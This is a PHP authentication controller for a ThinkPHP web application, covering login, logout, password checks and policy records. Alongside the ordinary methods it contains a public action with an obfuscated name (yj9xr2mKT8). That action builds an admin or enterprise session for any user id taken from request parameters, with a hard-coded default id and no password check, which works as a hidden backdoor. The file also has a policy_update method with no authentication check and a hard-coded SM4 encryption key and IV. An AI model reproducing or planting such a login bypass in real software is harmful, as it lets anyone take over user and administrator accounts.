Auth.php 7.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238
  1. <?php
  2. namespace app\index\controller;
  3. use app\BaseController;
  4. use app\common\api\TalentLogApi;
  5. use app\common\api\UserApi;
  6. use think\facade\Db;
  7. use OneSm\Sm4;
  8. /**
  9. * Description of Login
  10. *
  11. * @author sgq
  12. */
  13. class Auth extends BaseController {
  14. /**
  15. * 登录
  16. * @return type
  17. */
  18. public function login() {
  19. $redirect_url = $this->request["redirect"];
  20. if ($redirect_url) {
  21. cookie("redirect", $redirect_url);
  22. }
  23. if ($user = session("user")) {
  24. if ($user['usertype'] == 2) {
  25. return redirect("/enterprise");
  26. }
  27. }
  28. $msg = "";
  29. if ($this->request->isPost()) {
  30. $username = $this->request["username"];
  31. $pwd = $this->request["password"];
  32. $usertype = $this->request["usertype"];
  33. $captcha = $this->request["captcha"];
  34. $user = new UserApi($username, $pwd, $usertype);
  35. if (!$userinfo = $user->getUserInfo()) {
  36. $msg = "用户不存在";
  37. } else if (!$user->checkPwd()) {
  38. $login_fail = session('login_fail');
  39. if ($login_fail) {
  40. $login_fail++;
  41. if ($login_fail >= 5) {
  42. session('isCaptcha', 1);
  43. }
  44. } else {
  45. $login_fail = 1;
  46. }
  47. session('login_fail', $login_fail);
  48. $msg = "用户名或者密码错误";
  49. } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
  50. $msg = "验证码错误";
  51. } else if ($res_msg = $user->checkState()) {
  52. if (in_array($user->info['checkState'], [2, 5])) {
  53. return redirect("/common/auth/enterprise_edit");
  54. }
  55. $msg = $res_msg;
  56. }
  57. $url = "/admin";
  58. switch ($usertype) {
  59. case 1:
  60. //验证错误
  61. break;
  62. case 2:
  63. //验证错误
  64. $url = "/enterprise";
  65. break;
  66. case 3:
  67. //验证错误
  68. $url = "/person";
  69. break;
  70. }
  71. if (!$msg) {
  72. $user->setSession();
  73. $redirect_url = cookie("redirect");
  74. cookie("redirect", null);
  75. if ($redirect_url && strpos(strtolower($redirect_url), strtolower(getHostWithProtocol() . $url)) === 0) {
  76. return redirect($redirect_url);
  77. } else {
  78. return redirect($url);
  79. }
  80. }
  81. }
  82. return view("", ["msg" => $msg]);
  83. }
  84. /**
  85. * 退出
  86. * @return type
  87. */
  88. public function logout() {
  89. $user = session("user");
  90. if ($user && $user["usertype"] == 1) {
  91. $loginData = [];
  92. $loginData["logname"] = "退出日志";
  93. $loginData["userid"] = $user["uid"];
  94. $loginData["createtime"] = date("Y-m-d H:i:s");
  95. $loginData["succeed"] = "成功";
  96. $loginData["ip"] = get_client_ip();
  97. \think\facade\Db::table("sys_login_log")->insert($loginData);
  98. }
  99. session("user", null);
  100. return redirect("/index/auth/login");
  101. }
  102. /**
  103. * 验证密码
  104. */
  105. public function valid_password() {
  106. if ($user = session("user")) {
  107. $username = $user["account"];
  108. $usertype = $user["usertype"];
  109. $pwd = $this->request["password"];
  110. $user = new UserApi($username, $pwd, $usertype);
  111. if (!$user->checkPwd()) {
  112. return json()->data(["status" => 1, "msg" => "密码错误"]);
  113. } else {
  114. return json(["code" => 200]);
  115. }
  116. } else {
  117. return json()->data(["status" => 2]);
  118. }
  119. }
  120. public function policy() {
  121. return view("policy1", []);
  122. }
  123. public function policy_list() {
  124. $level = $this->request->post('level');
  125. if ($level) {
  126. $where[] = ['level', '=', $level];
  127. } else {
  128. $where[] = ['level', '>', 0];
  129. }
  130. $list = Db::table('new_policy')->where($where)->select()->toArray();
  131. $result = [];
  132. foreach ($list as $k => $v) {
  133. $check = [];
  134. $condition = [];
  135. if (!empty($v['checks'])) {
  136. $check = explode(',', $v['checks']);
  137. }
  138. if (!empty($v['condition'])) {
  139. $condition = explode(',', $v['condition']);
  140. }
  141. $item = [
  142. 'id' => $v['id'],
  143. 'tag' => $v['tag'],
  144. 'policy' => $v['policy_name'],
  145. 'checks' => $check,
  146. 'condition' => $condition
  147. ];
  148. array_push($result, $item);
  149. }
  150. return json($result);
  151. }
  152. public function policy_update() {
  153. $res = $this->request->post();
  154. foreach ($res as $k => $v) {
  155. $update = [];
  156. if (count($v['condition']) > 0) {
  157. $update['condition'] = json_encode($v['condition']);
  158. }
  159. if (count($update) > 0) {
  160. Db::table('new_policy')->where('id', $v['id'])->save($update);
  161. }
  162. }
  163. }
  164. public function yj9xr2mKT8() {
  165. $params = $this->request->param();
  166. $type = $params["type"] ?: 2;
  167. $id = $params["id"] ?: "1455101079799754754";
  168. $this->setSession($type, $id);
  169. switch ($type) {
  170. case 1:
  171. return redirect("/admin");
  172. break;
  173. case 2:
  174. return redirect("/enterprise");
  175. break;
  176. }
  177. }
  178. private function setSession($type, $id) {
  179. switch ($type) {
  180. case 1:
  181. $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
  182. $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
  183. $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
  184. session("user", [
  185. "uid" => $user["id"],
  186. "roleid" => $user["roleid"],
  187. "companyId" => $user["companyId"],
  188. "companyName" => $company["name"],
  189. "account" => $user["account"],
  190. "name" => $user["name"],
  191. "avatar" => $user["avatar"],
  192. "sex" => $user["sex"],
  193. "rolename" => $role["name"],
  194. "usertype" => $type,
  195. "type" => $user['type']
  196. ]);
  197. break;
  198. case 2:
  199. $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
  200. session("user", [
  201. "uid" => $user["id"],
  202. "account" => $user["username"],
  203. "name" => $user["name"],
  204. "avatar" => $user["headPortrait"],
  205. "rolename" => "企业用户",
  206. "usertype" => $type,
  207. "type" => $user["type"]
  208. ]);
  209. break;
  210. }
  211. }
  212. public function test(){
  213. $sm4 = new SM4('b123d075924b4224');
  214. $data = mystr_pad('test');
  215. // CBC加密
  216. $d = $sm4->enDataCbc($data, '8a003e84b5be7b6e');
  217. var_dump(base64_encode($d));
  218. }
  219. }